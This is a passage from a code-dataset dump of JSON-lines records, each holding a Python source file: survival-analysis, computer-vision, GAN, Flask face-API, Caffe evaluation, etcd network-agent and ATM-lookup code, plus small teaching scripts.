_compute_baseline_hazards(self, input, df_train_target, max_duration, batch_size):\n if max_duration is None:\n max_duration = np.inf\n def compute_expg_at_risk(ix, t):\n sub = input.iloc[ix:]\n n = sub.lens().flatten().get_if_all_equal()\n t = np.repeat(t, n).reshape(-1, 1).astype('float32')\n return np.exp(self.predict((sub, t), batch_size)).flatten().sum()\n\n if not df_train_target[self.duration_col].is_monotonic_increasing:\n raise RuntimeError(f\"Need 'df_train_target' to be sorted by {self.duration_col}\")\n input = tuplefy(input)\n df = df_train_target.reset_index(drop=True)\n times = (df\n .loc[lambda x: x[self.event_col] != 0]\n [self.duration_col]\n .loc[lambda x: x <= max_duration]\n .drop_duplicates(keep='first'))\n at_risk_sum = (pd.Series([compute_expg_at_risk(ix, t) for ix, t in times.iteritems()],\n index=times.values)\n .rename('at_risk_sum'))\n events = (df\n .groupby(self.duration_col)\n [[self.event_col]]\n .agg('sum')\n .loc[lambda x: x.index <= max_duration])\n base_haz = (events\n .join(at_risk_sum, how='left', sort=True)\n .pipe(lambda x: x[self.event_col] / x['at_risk_sum'])\n .fillna(0.)\n .rename('baseline_hazards'))\n return base_haz\n\n def _predict_cumulative_hazards(self, input, max_duration, batch_size, verbose, baseline_hazards_):\n def expg_at_time(t):\n t = np.repeat(t, n_cols).reshape(-1, 1).astype('float32')\n return np.exp(self.predict((input, t), batch_size)).flatten()\n\n input = tuplefy(input)\n max_duration = np.inf if max_duration is None else max_duration\n baseline_hazards_ = baseline_hazards_.loc[lambda x: x.index <= max_duration]\n n_rows, n_cols = baseline_hazards_.shape[0], input.lens().flatten().get_if_all_equal()\n hazards = np.empty((n_rows, n_cols))\n for idx, t in enumerate(baseline_hazards_.index):\n if verbose:\n print(idx, 'of', len(baseline_hazards_))\n hazards[idx, :] = expg_at_time(t)\n hazards[baseline_hazards_.values == 0] = 0. # in case hazards are inf here\n hazards *= baseline_hazards_.values.reshape(-1, 1)\n return pd.DataFrame(hazards, index=baseline_hazards_.index).cumsum()\n\n def predict_cumulative_hazards_at_times(self, times, input, batch_size=16448, return_df=True,\n verbose=False, baseline_hazards_=None):\n if not hasattr(times, '__iter__'):\n times = [times]\n max_duration = max(times)\n cum_haz = self.predict_cumulative_hazards(input, max_duration, batch_size,\n verbose, baseline_hazards_)\n times_idx = search_sorted_idx(cum_haz.index.values, times)\n cum_haz = cum_haz.iloc[times_idx]\n if return_df:\n return cum_haz\n return cum_haz.as_matrix()\n\n def partial_log_likelihood(self, input, target, batch_size=512):\n def expg_sum(t, i):\n sub = input_sorted.iloc[i:]\n n = sub.lens().flatten().get_if_all_equal()\n t = np.repeat(t, n).reshape(-1, 1).astype('float32')\n return np.exp(self.predict((sub, t), batch_size)).flatten().sum()\n\n durations, events = target\n df = pd.DataFrame({self.duration_col: durations, self.event_col: events})\n df = df.sort_values(self.duration_col)\n input = tuplefy(input)\n input_sorted = input.iloc[df.index.values]\n\n times = (df\n .assign(_idx=np.arange(len(df)))\n .loc[lambda x: x[self.event_col] == True]\n .drop_duplicates(self.duration_col, keep='first')\n .assign(_expg_sum=lambda x: [expg_sum(t, i) for t, i in zip(x[self.duration_col], x['_idx'])])\n .drop([self.event_col, '_idx'], axis=1))\n \n idx_name_old = df.index.name\n idx_name = '__' + idx_name_old if idx_name_old else '__index'\n df.index.name = idx_name\n\n pll = df.loc[lambda x: x[self.event_col] == True]\n input_event = input.iloc[pll.index.values]\n durations_event = pll[self.duration_col].values.reshape(-1, 1)\n g_preds = self.predict((input_event, durations_event), batch_size).flatten()\n pll = (pll\n .assign(_g_preds=g_preds)\n .reset_index()\n .merge(times, on=self.duration_col)\n .set_index(idx_name)\n .assign(pll=lambda x: x['_g_preds'] - np.log(x['_expg_sum']))\n ['pll'])\n\n pll.index.name = idx_name_old\n return pll\n","sub_path":"pycox/models/cox/cox_cc.py","file_name":"cox_cc.py","file_ext":"py","file_size_in_byte":14429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"639068196","text":"# import the necessary packages\nfrom threading import Thread\nimport cv2\nimport sys\nimport imutils\nimport time\nfrom numpy import *\nfrom imutils.convenience import resize\nfrom imutils.video import FPS\nfrom queue import Queue\n\n#This class is a modification of the imutils WebcamVideoStream class\nclass RCVideoStream:\n\n def __init__(self, src=0, name=\"RCVideoStream\", width=680, height=480, x_border=0, y_border=0):\n # initialize the video camera stream and read the first frame\n # from the stream\n self.stream = cv2.VideoCapture(src)\n (self.grabbed, self.frame) = self.stream.read()\n\n # initialize the thread name\n self.name = name\n \n #Default Parameters\n self.frame_height = height\n self.frame_width = width\n self.left_right_border = x_border\n self.top_bottom_border = y_border\n self.lock = False\n\n # initialize the variable used to indicate if the thread should\n # be stopped\n self.stopped = False\n\n def start(self):\n # start the thread to read frames from the video stream\n t = Thread(target=self.update, name=self.name, args=())\n t.daemon = True\n t.start()\n return self\n\n def update(self):\n # keep looping infinitely until the thread is stopped\n while not self.stopped:\n # read the next frame from the stream\n (self.grabbed, temp_frame) = self.stream.read()\n \n # Perform resize as atomic operation\n while(self.lock == True):\n pass\n \n self.lock = True\n temp_frame = cv2.resize(temp_frame, (self.frame_width,self.frame_height), cv2.INTER_AREA)\n \n # If a border is specified, create it by centering the frame on a black background\n if(self.left_right_border > 0 or self.top_bottom_border > 0):\n x = self.left_right_border\n y = self.top_bottom_border\n \n #This is basically how cv2.copyMakeBorder works, but with slightly less overhead\n background = zeros((self.frame_height + int(2*y), self.frame_width + int(2*x),3), uint8)\n background[y:y+temp_frame.shape[0], x:x+temp_frame.shape[1]] = temp_frame\n self.frame = background\n else:\n self.frame = temp_frame\n \n self.lock = False\n\n self.stream.release()\n \n def resize(self, width=680, height=480, x_border=0, y_border=0):\n #atomic \n while(self.lock == True):\n pass\n \n #Update frame parameters \n self.lock = True\n self.frame_width = width\n self.frame_height = height\n self.left_right_border = x_border\n self.top_bottom_border = y_border\n self.lock = False\n \n def read(self):\n # return the frame most recently read\n return self.frame\n\n def stop(self):\n # indicate that the thread should be stopped\n self.stopped = True\n \n#Custom wrapper for OpenCV VideoWriter class\nclass RCVideoWriter:\n\n def __init__(self, filename, fcc, fps, dim):\n self.fourcc = fcc\n self.fps = fps\n self.name = filename\n self.dim = dim\n self.last_frame = 0\n #self.qsize = 128\n \n #FPS management parameters\n self.avg_fps = 0\n \n self.has_data = False\n self.stopped = False\n #self.Q = Queue(maxsize=self.qsize)\n \n def start(self):\n self.outstream = cv2.VideoWriter(self.name, self.fourcc, self.fps, self.dim)\n \n t = Thread(target=self.update, name=\"VideoWriter\", args=())\n t.daemon = True\n t.start()\n \n self.objfps = FPS().start()\n \n return self\n \n def stop(self):\n self.stopped = True\n \n def update(self):\n \n while(True):\n if self.stopped:\n self.objfps.stop()\n self.avg_fps = int(self.objfps.fps())\n self.outstream.release()\n return\n \n if self.has_data:\n self.outstream.write(self.last_frame)\n self.objfps.update()\n self.has_data = False\n \n def write(self, frame):\n \n try:\n self.last_frame = frame\n self.has_data = True\n \n except:\n pass\n\n \n \n \n \n \n \n","sub_path":"BOT_FrontEnd/RCVideoStream.py","file_name":"RCVideoStream.py","file_ext":"py","file_size_in_byte":4573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"111038852","text":"import numpy as np\nimport tensorflow as tf\ndef genNoise(bs,nos_dim=100, mode='uniform',ball=True):\n if (mode == 'uniform'):\n if(ball):\n x = np.random.uniform(-1, 1, [bs, nos_dim]).astype(np.float32)\n x = x / np.linalg.norm(x, axis=1)[:, np.newaxis]\n \n return (x / 4)\n else:\n return np.random.uniform(-1, 1, [bs, nos_dim]).astype(np.float32)\n elif(mode == 'normal'):\n if(ball):\n x = np.random.normal(0,0.7,[bs, nos_dim]).astype(np.float32)\n return (x / np.linalg.norm(x, axis=1)[:, np.newaxis])\n else:\n return np.random.normal(0,0.7,[bs, nos_dim]).astype(np.float32)\n else:\n raise RuntimeError('mode %s is not defined' % (mode))\n\ndef deconv2d(input_block, output_shape,f_h=5, f_w=5, \n s_h=2, s_w=2, stddev=0.02,name=\"deconv\",relu=True,batch_norm=False):\n ### filter: [height, width, output_channels, in_channels]\n deconv_filter = tf.get_variable(name + '_w', [f_h, f_w, output_shape[-1], input_block.shape[-1]],\n initializer = tf.truncated_normal_initializer(stddev=stddev))\n \n deconv = tf.nn.conv2d_transpose(input_block, deconv_filter, \n output_shape, [1, s_h, s_w, 1]) # (input,filter,output_shape,strides)\n\n biases = tf.get_variable(name + '_b', [output_shape[-1]], \n initializer= tf.truncated_normal_initializer(stddev=stddev))\n\n deconv = tf.nn.bias_add(deconv, biases)\n if(batch_norm):\n deconv = tf.layers.batch_normalization(deconv,training=True)\n if(relu):\n deconv = tf.nn.relu(deconv)\n \n return deconv\n \ndef conv2d(input_image, output_dim, f_h=5, f_w=5, \n s_h=2, s_w=2, stddev=0.02, name=\"conv\",batch_norm=False):\n ### filter: [height, width, in_channels, output_channels]\n conv_filter = tf.get_variable(name + '_w', [f_h, f_w, input_image.shape[-1], output_dim],\n initializer=tf.truncated_normal_initializer(stddev=stddev))\n\n conv = tf.nn.conv2d(input_image, conv_filter, strides=[1, s_h, s_w, 1], padding='SAME')\n\n biases = tf.get_variable(name + '_b', [output_dim], \n initializer=tf.truncated_normal_initializer(stddev=stddev))\n \n conv = tf.nn.bias_add(conv, biases)\n if(batch_norm):\n conv = tf.layers.batch_normalization(conv,training=True)\n conv = tf.nn.leaky_relu(conv)\n\n return conv\n\ndef DNN(inputs, shape, idx, activate=True):\n W = tf.get_variable(\"W\" + str(idx),shape,tf.float32,\n tf.truncated_normal_initializer(stddev=0.02))\n B = tf.get_variable(\"B\" + str(idx),shape[-1],tf.float32,\n tf.truncated_normal_initializer(stddev=0.02))\n output = tf.matmul(inputs,W) + B\n if activate:\n output = tf.nn.leaky_relu(output)\n \n return output\n \ndef random_tags(batch_size):\n tags = []\n for _ in range(batch_size):\n hair_idx = np.random.random_integers(0,11)\n hairs = [0.0]*12\n hairs[hair_idx] = 1.0\n eye_idx = np.random.random_integers(0,9)\n eyes= [0.0]*10\n eyes[eye_idx] = 1.0\n tag = np.concatenate([hairs,eyes])\n tags.append(tag)\n tags = np.array(tags)\n return tags\n","sub_path":"HW3/src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"477396319","text":"#-*- coding: utf-8 -*-\nimport os\n\nf = open(\"test.txt\", 'w')\nfor i in range(1, 11):\n data = \"%dlines.\\n\" % i\n f.write(data)\n\n# split 은 space 도 인지\n\npypath = os.path.realpath(__file__)\nf.write(pypath+\"\\n\")\npypath = os.path.dirname(os.path.abspath(__file__))\nf.write(pypath+\"\\n\")\nf.close()\n# crontab 실행시 사용자 홈으로 가기때문에 동일한 경로 접근을 위해서 __file__ 경로를 얻어온다\n\n\nwith open('test.txt') as f:\n lines = f.read().split()\n print(\"idx 0:\"+lines[0])\n print(\"idx 1:\"+lines[1])\n","sub_path":"fileio.py","file_name":"fileio.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"539522373","text":"from app import app\nfrom flask import request\nfrom requestApi import createPersonGroup, createPerson, addImageForPerson, detectedFace, identifyPerson, trainPersonGroup, getGroups\nfrom flask import jsonify, make_response\n\n\n@app.route('/createNewGroup', methods=['GET'])\ndef createNewGroupId():\n personGroupId = request.args.get('groupId', type=str, default=None)\n name = request.args.get('name', type=str, default = None)\n userData = request.args.get('userData', type=str, default = None)\n\n status = createPersonGroup(name, userData, personGroupId)\n if status == 200:\n return make_response('Новая группа успешно создана')\n else:\n return make_response('Новая группа не создана' + status)\n\n\n@app.route('/createPerson', methods=['GET'])\ndef createNewPerson():\n personGroupId = request.args.get('groupId', type=str, default=None)\n name = request.args.get('name', type=str, default = None)\n userData = request.args.get('userData', type=str, default = None)\n \n image = request.args.get('image', type=str, default = None)\n\n if image == None:\n personID = createPerson(name, userData, personGroupId)\n else:\n personID = createPerson(name, userData, personGroupId) \n addImageForPerson(personID, personGroupId, image)\n \n return make_response(jsonify(personID))\n\n\n@app.route('/detect')\ndef createNewFaceId():\n image = request.args.get('image', type=str, default=None)\n\n return make_response(jsonify(detectedFace(image)))\n \n\n@app.route('/addFace', methods=['GET'])\ndef addFace():\n personGroupId = request.args.get('groupId', type=str, default=None)\n personId = request.args.get('personId', type=str, default=None)\n imageURl = request.args.get('image', type=str, default=None)\n\n return make_response(jsonify(addImageForPerson(personId, personGroupId, imageURl)))\n\n \n@app.route('/getUserByImage', methods=['GET'])\ndef getUser():\n image = request.args.get('image', type=str, default = None)\n groupId = request.args.get('groupId', type=str, default = None)\n \n return make_response(jsonify(identifyPerson(image, groupId)))\n\n\n@app.route('/training', methods=['GET'])\ndef train():\n groupId = request.args.get('groupId', type=str, default=None)\n\n return make_response(jsonify(trainPersonGroup(groupId))) \n\n\n@app.route('/groups')\ndef getGroup():\n return make_response(jsonify(getGroups()), 200)","sub_path":"view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"347141706","text":"def isPalindrome(s):\n \"\"\"Asume a s como una str\n devuelve True si s es un palindromo, \n False si s no es palindromo.\n Ignora mayusculas y non-letters\"\"\"\n def toChars(s):\n s = s.lower()\n letters = ''\n for i in s:\n if i in 'abcdfghijklmnopqrstuvw':\n letters = letters + i\n return letters\n \n def palindrome(s):\n s = toChars(s)\n if(len(s)<= 1):\n return True\n else:\n return s[0] == s[-1] and palindrome(s[1:-1])\n \n return palindrome(toChars(s))\n \nprint(isPalindrome('balalab?'))\n\n","sub_path":"recursivePalindromes.py","file_name":"recursivePalindromes.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"513632842","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\n\nimport sys\n\n# Subclass QMainWindow to customise your application's main window\nclass MainWindow(QMainWindow):\n def __init__(self, *args, **kwargs):\n super(MainWindow, self).__init__(*args, **kwargs)\n\n self.setWindowTitle(\"My Awesome App\")\n\n def onMyToolBarButtonClick(self, s):\n print(\"click\", s)\n dlg = QDialog(self)\n dlg.setWindowTitle(\"HELLO!\")\n dlg.exec_()\n\napp = QApplication(sys.argv)\n\nwindow = MainWindow()\nwindow.show() # IMPORTANT: Windows are hidden by default.\n\n# Start the event loop\napp.exec()\n","sub_path":"python/projects/gui_tutorial/myapp_frame.py","file_name":"myapp_frame.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"40320023","text":"li = ['abc', 'def', 'tyz', 'bee']\nli2 = ['zxc', 'kmp']\nli3 = ['ti']\nlit = [li, li2, li3]\n\nsortList = sorted(li) #sorted는 복사본 생성\nprint(sortList) \n\nli.sort() #sort는 직접적으로 리스트 그 자체를 바꾼다\nprint(li)\n\n\nnumb = [12, 3231, 21, 1, 234]\nnumb.sort() #기본적으로 숫자는 오름차순, 영어는 알파벳 순으로 소팅\nprint(numb)\n\nnumb.sort(reverse=True) #내림차순으로 정리\nprint(numb)","sub_path":"Python/Basic/02. String/05. sort.py","file_name":"05. sort.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"421421136","text":"#\n#Author: Bill Wang\n#\n\nimport sys\nimport caffe\nimport matplotlib\nimport numpy as np\nimport lmdb\nimport argparse\nfrom collections import defaultdict\nimport os\n\nTEST_FROM_IMAGE_FILE = False\nfrom PIL import Image\nimport matplotlib\n\nimport logging\n\n# IMAGE_FILE = './macaron.jpeg'\n# IMAGE_FILE = './tea-600x400.jpg'\nIMAGE_FILE = './orange-web-1024x768.jpg'\n\ntest_root = '../newFood_724_clean/images'\ntest_txt = 'newFood724_test.txt'\nlabel_txt = 'food_id.txt'\n\ntest_files = []\nwith open(test_txt,'r') as f:\n lines = f.readlines()\n for line in lines:\n line = line.strip('\\n')\n for i in range(0,5):\n if line[-i] == ' ':\n idx = i\n break\n test_files.append([os.path.join(test_root,line[:-i]), int(line[-i:])])\n\nlabel_dict = {}\nwith open(label_txt,'r') as fp:\n for line in fp:\n b = line.strip('\\n').split(':')\n #print(b)\n label_dict[int(b[0])] = b[1]\n\nclass Logger(object):\n def __init__(self):\n self.terminal = sys.stdout\n self.log = open(\"logfile.log\", \"a\")\n\n def write(self, message):\n self.terminal.write(message)\n self.log.write(message) \n\n def flush(self):\n #this flush method is needed for python 3 compatibility.\n #this handles the flush command by doing nothing.\n #you might want to specify some extra behavior here.\n pass \n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--proto', type=str, required=True)\n parser.add_argument('--model', type=str, required=True)\n parser.add_argument('--lmdb', type=str, required=True)\n parser.add_argument('--mean', type=str, required=True)\n args = parser.parse_args()\n \n sys.stdout = Logger()\n '''\n sys.stdout = Logger()\n #logging\n rootLogger = logging.getLogger()\n fileHandler = logging.FileHandler(\"{0}/{1}.log\".format('.', 'full_test_food724'))\n rootLogger.addHandler(fileHandler)\n consoleHandler = logging.StreamHandler()\n rootLogger.addHandler(consoleHandler)\n '''\n count = 0\n count_tmp = 1 \n correct_top1 = 0\n correct_top5 = 0\n matrix = defaultdict(int) # (real,pred) -> int\n labels_set = set()\n\n mean_file_binaryproto = args.mean\n\n # Extract mean from the mean image file\n mean_blobproto_new = caffe.proto.caffe_pb2.BlobProto()\n with open(mean_file_binaryproto, 'rb') as f:\n mean_blobproto_new.ParseFromString(f.read())\n mean_image = caffe.io.blobproto_to_array(mean_blobproto_new)\n\n #mean_image_new = mean_image[0:2][16:240][16:240]\n mean_image_orig = mean_image\n mean_image = mean_image[:,:,16:240,16:240]\n #print(mean_image.shape)\n\n net = caffe.Net(args.proto, args.model, caffe.TEST)\n classifier = caffe.Classifier( \\\n mean=mean_image[0].mean(1).mean(1), \\\n model_file=args.proto, \\\n pretrained_file=args.model, \\\n channel_swap=(2,1,0), \\\n raw_scale=255, \\\n image_dims=(256,256)\n )\n\n caffe.set_mode_gpu()\n #caffe.set_mode_cpu()\n lmdb_env = lmdb.open(args.lmdb)\n lmdb_txn = lmdb_env.begin()\n lmdb_cursor = lmdb_txn.cursor()\n\n #Define image transformers\n #transformer = caffe.io.Transformer({'data': net.blobs['data'].data.shape})\n #transformer.set_mean('data', mean_array)\n #transformer.set_transpose('data', (2,0,1))\n #lmdb_cursor=lmdb_cursor[:10]\n print('============================')\n print(mean_image_orig.shape)\n print(mean_image.shape)\n scores_top1=[]\n scores_top5=[]\n tmp=0\n cnt=0\n my_dict={}\n lb_set=set()\n if TEST_FROM_IMAGE_FILE == True:\n for fn, label in test_files:\n cnt+=1\n # if cnt < 4:\n # continue\n IMAGE_FILE = fn\n try:\n inputs = caffe.io.load_image(IMAGE_FILE)\n except Exception as e:\n print(e.message)\n continue\n # inputs = caffe.io.load_image('tt.jpeg')\n # print('input shape')\n # print(inputs.shape)\n\n res = classifier.predict(inputs=np.asarray([inputs]), oversample=True)\n plabel = res[0].argmax(axis=0)\n plabel_top5 = np.argsort(res[0])[::-1][0:5]\n\n # print([label_dict[item] for item in plabel_top5])\n # print('p: %s | gt: %s'%(label_dict[plabel],label_dict[label]))\n\n count = count + 1\n iscorrect = (label == plabel)\n correct_top1 = correct_top1 + (1 if iscorrect else 0)\n iscorrect_t5 = (label in plabel_top5)\n correct_top5 = correct_top5 + (1 if iscorrect_t5 else 0)\n\n matrix[(label, plabel)] += 1\n labels_set.update([label, plabel])\n\n if not iscorrect:\n print(\"Error: key=%s, expected %i but predicted %i\" \\\n % (cnt, label, plabel))\n\n lb_set.add(label)\n if label not in my_dict:\n #count: [top1, top5, num]\n my_dict[label] = [0,0,0]\n #num increase\n my_dict[label] = [my_dict[label][0], my_dict[label][1], my_dict[label][2]+1]\n\n if label == plabel:\n my_dict[label] = [my_dict[label][0]+1,my_dict[label][1],my_dict[label][2]]\n\n if label in plabel_top5:\n my_dict[label] = [my_dict[label][0],my_dict[label][1]+1,my_dict[label][2]]\n\n # break\n # if cnt > 10:\n # break\n else:\n for key, value in lmdb_cursor:\n cnt+=1\n datum = caffe.proto.caffe_pb2.Datum()\n datum.ParseFromString(value)\n label = int(datum.label)\n image = caffe.io.datum_to_array(datum)\n image = image.astype(np.uint8)\n # CENTER CROP\n image = image[:,16:240,16:240]\n\n out = net.forward_all(data=np.asarray([image])-mean_image)\n #out = net.forward()\n #out = net.forward_all(data=np.asarray([image]))\n plabel = int(out['prob'][0].argmax(axis=0))\n #print(out[:][0][0:5].argmax(axis=0))\n\n plabel_all = np.argsort(out['prob'][0])[::-1]\n plabel_top5 = plabel_all[0:5]\n\n count = count + 1\n iscorrect = label == plabel\n correct_top1 = correct_top1 + (1 if iscorrect else 0)\n iscorrect_t5 = (label in plabel_top5)\n correct_top5 = correct_top5 + (1 if iscorrect_t5 else 0)\n\n matrix[(label, plabel)] += 1\n labels_set.update([label, plabel])\n\n if not iscorrect:\n print(\"Error: key=%s, expected %i but predicted %i\" \\\n % (key, label, plabel))\n\n lb_set.add(label)\n if label not in my_dict:\n #count: [top1, top5, num]\n my_dict[label] = [0,0,0]\n #num increase\n my_dict[label] = [my_dict[label][0], my_dict[label][1], my_dict[label][2]+1]\n\n if label == plabel:\n my_dict[label] = [my_dict[label][0]+1,my_dict[label][1],my_dict[label][2]]\n\n if label in plabel_top5:\n my_dict[label] = [my_dict[label][0],my_dict[label][1]+1,my_dict[label][2]]\n #if cnt==200:\n #break\n #sys.stdout.write(\"\\rAccuracy: %.1f%%\" % (100.*correct/count))\n #sys.stdout.flush()\n\n # FOR LOG EXTRACTION\n\n # PRINT CLASS ACCURACY\n for label in my_dict:\n print(\"Accuracy[%d][top1]: %.1f%%\" % (label,100.*my_dict[label][0]/my_dict[label][2]))\n print(\"Accuracy[%d][top5]: %.1f%%\" % (label,100.*my_dict[label][1]/my_dict[label][2]))\n np.save('score_t1_t5.npy',my_dict)\n # PRINT OVERAL ACCURACY\n print('TOP1\\n' + str(correct_top1) + \" out of \" + str(count) + \" were classified correctly\")\n print('TOP5\\n' + str(correct_top5) + \" out of \" + str(count) + \" were classified correctly\")\n\n # CONFUSION MATRIX\n print(\"\")\n print(\"Confusion matrix:\")\n print(\"(r , p) | count\")\n for l in labels_set:\n for pl in labels_set:\n print(\"(%i , %i) | %i\" %(l, pl, matrix[(l,pl)]) )\n''''''\n\n","sub_path":"pycaffe_confmat_gpu.py","file_name":"pycaffe_confmat_gpu.py","file_ext":"py","file_size_in_byte":8116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"474419081","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys, os, etcd3, json, subprocess\nimport pprint\n\ndef get_addr_diff(containerid, old_vals, new_vals):\n print(containerid, ':', old_vals, '->', new_vals)\n if old_vals == '':\n old_set = set()\n else:\n old_set = set(json.loads(old_vals)['address'])\n if new_vals == '':\n return (set(), old_set)\n\n new_set = set(json.loads(new_vals)['address'])\n new_addrs = new_set - old_set\n remove_addrs = old_set - new_set\n print(\"to be added:\", new_addrs)\n print(\"to be removed:\", remove_addrs)\n return (new_addrs, remove_addrs)\n\ndef change_addr(etcd, hostip, containerif, old_vals, new_vals):\n (new_addrs, remove_addrs) = get_addr_diff(containerif, old_vals, new_vals)\n n = containerif.split('/')\n containerid = n[0]\n ifname = n[1]\n\n (nsname, meta) = etcd.get('kokonet/netns/%s/%s'%(hostip, containerid))\n\n for i in remove_addrs:\n cmd = \"/app/koro netns /host%s address del %s dev %s\"%(nsname, i, ifname)\n ret = subprocess.call(cmd.split())\n print(\"cmd:\", cmd, ret)\n for i in new_addrs:\n cmd = \"/app/koro netns /host%s address add %s dev %s\"%(nsname, i, ifname)\n ret = subprocess.call(cmd.split())\n print(\"cmd:\", cmd, ret)\n\nif __name__ == '__main__':\n if \"ETCD_CLIENT_HOST\" in os.environ:\n etcd_host = os.environ[\"ETCD_CLIENT_HOST\"]\n else:\n etcd_host = \"10.0.0.21\"\n \n if \"ETCD_CLIENT_PORT\" in os.environ:\n etcd_port = int(os.environ[\"ETCD_CLIENT_PORT\"])\n else:\n etcd_port = 2379\n \n if \"DATAPLANE_IP\" in os.environ:\n hostip = os.environ[\"DATAPLANE_IP\"]\n else:\n print(\"Please set dataplane ip of this host!\")\n sys.exit()\n\n print(\"ETCD:%s:%d\"%(etcd_host, etcd_port))\n print(\"DATAPLANE_IP:\", hostip)\n sys.stdout.flush()\n \n etcd = etcd3.client(host = etcd_host, port = etcd_port)\n cache = {}\n\n while True:\n ev_iterator, cancel = etcd.watch_prefix('kokonet/ip/%s'%hostip)\n for event in ev_iterator:\n key = event.key.decode('utf-8')\n keys = key.split('/')\n if keys[0] == 'kokonet' and keys[1] == 'ip' and \\\n keys[2] == hostip and len(keys) == 5:\n containerid = keys[3]\n ifname = keys[4]\n containerif = \"%s/%s\"%(containerid,ifname)\n\n if type(event) == etcd3.events.PutEvent:\n val = event.value.decode('utf-8')\n print(\"containerid/ifname: %s\"%containerif)\n print(json.loads(val)['address'])\n if containerif in cache:\n change_addr(etcd, hostip, containerif, cache[containerif], val)\n else:\n change_addr(etcd, hostip, containerif, '', val)\n cache[containerif] = val\n elif type(event) == etcd3.events.DeleteEvent:\n print(\"containerid/ifname: %s\"%containerif)\n change_addr(etcd, hostip, containerif, '', '')\n del cache[containerif]\n \n print(event)\n","sub_path":"kokonet-agent/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"225196644","text":"from common import connector\nfrom common import urlutil\nfrom common import environment\nfrom common import xmlutil\nfrom services.locations.domain.common.country_subdivisions import countrysubdivision\nfrom services.locations.domain.common.country_subdivisions import countrysubdivisions\nimport xml.etree.ElementTree as ET\n\nSANDBOX_URL = 'https://sandbox.api.mastercard.com/atms/v1/countrysubdivision?Format=XML'\nPRODUCTION_URL = 'https://sandbox.api.mastercard.com/atms/v1/countrysubdivision?Format=XML'\n\n\nclass CountrySubdivisionAtmLocationService(connector.Connector):\n def __init__(self, consumer_key, private_key, environment):\n super().__init__(consumer_key, private_key)\n self.environment = environment\n\n def get_country_subdivisions(self, options):\n url = self.get_url(options)\n xml_response = ET.fromstring(self.do_request(url, 'GET'))\n return self.generate_return_object(xml_response)\n\n def get_url(self, options):\n url = SANDBOX_URL\n if self.environment == environment.Environment.PRODUCTION:\n url = PRODUCTION_URL\n url = urlutil.UrlUtil.add_query_parameter(url, 'Country', options.country)\n return url\n\n def generate_return_object(self, xml_response):\n none_check = xmlutil.XMLUtil()\n country_subdivision_list = list()\n for xml_country_subdivision in xml_response.findall('CountrySubdivision'):\n tmp_country_subdivision = countrysubdivision.CountrySubdivision(\n none_check.verify_not_none(xml_country_subdivision.find('Name')),\n none_check.verify_not_none(xml_country_subdivision.find('Code'))\n )\n country_subdivision_list.append(tmp_country_subdivision)\n country_subdivisions = countrysubdivisions.CountrySubdivisions(country_subdivision_list)\n return country_subdivisions","sub_path":"Services/locations/atms/services/countrysubdivisionatmlocationservice.py","file_name":"countrysubdivisionatmlocationservice.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"3837822","text":"import bisect\n\nclass Solution(object):\n def searchMatrix(self, matrix, target):\n \"\"\"\n :type matrix: List[List[int]]\n :type target: int\n :rtype: bool\n \"\"\"\n row_index = bisect.bisect_left([i[-1] for i in matrix], target)\n print(row_index)\n\n if row_index == len(matrix):\n return False\n\n\n column_index = bisect.bisect_left(matrix[row_index], target)\n if column_index != len(matrix[row_index]) and matrix[row_index][column_index] == target:\n return True\n\n return False\n\n\ns = Solution()\nprint(s.searchMatrix([[1, 3]],1))","sub_path":"leetcode/algorithm/search-a-2d-matrix.py","file_name":"search-a-2d-matrix.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"16638885","text":"#!/bin/sh /cvmfs/icecube.opensciencegrid.org/py2-v2/icetray-start\n#METAPROJECT: /data/user/nwandkowsky/tarballs/simulation.V05-01-02/build/simulation.V05-01-02\n\n# import required icecube-related stuff\nfrom icecube import icetray, dataclasses, dataio, simclasses\nfrom icecube.icetray import I3Units\nfrom I3Tray import I3Tray\n\n# command line options required to configure the simulation\nfrom optparse import OptionParser\nfrom os.path import expandvars\n\n#./mcpe_nugen.py -s 2 -r 1 -g /cvmfs/icecube.opensciencegrid.org/data/GCD/GeoCalibDetectorStatus_IC86_Merged.i3.gz --domos 5 --domeff 0.99 --holeice flasher_p1=0.3_p2=0.0 -i /data/ana/Cscd/StartingEvents/NuGen_new/NuE/medium_energy/photon_spice3_2/1/photon_00000001.i3.zst -o nue_me_mcpe.i3.bz2 -b /data/ana/Cscd/StartingEvents/CORSIKA_bg/12531/photon_spice3_2/1/photon_00000001.i3.zst\n\n\nusage = \"usage: %prog [options] \"\n#outputfile\"\nparser = OptionParser(usage)\nparser.add_option(\"-g\", \"--gcd\",default=\"/home/nwandkowsky/workspace/data/GCD/GeoCalibDetectorStatus_IC86.55697_V2.i3\",\n dest=\"GCDFILE\", help=\"Read geometry from GCDFILE (.i3{.gz} format)\")\nparser.add_option(\"-i\", \"--input\", action=\"store\", 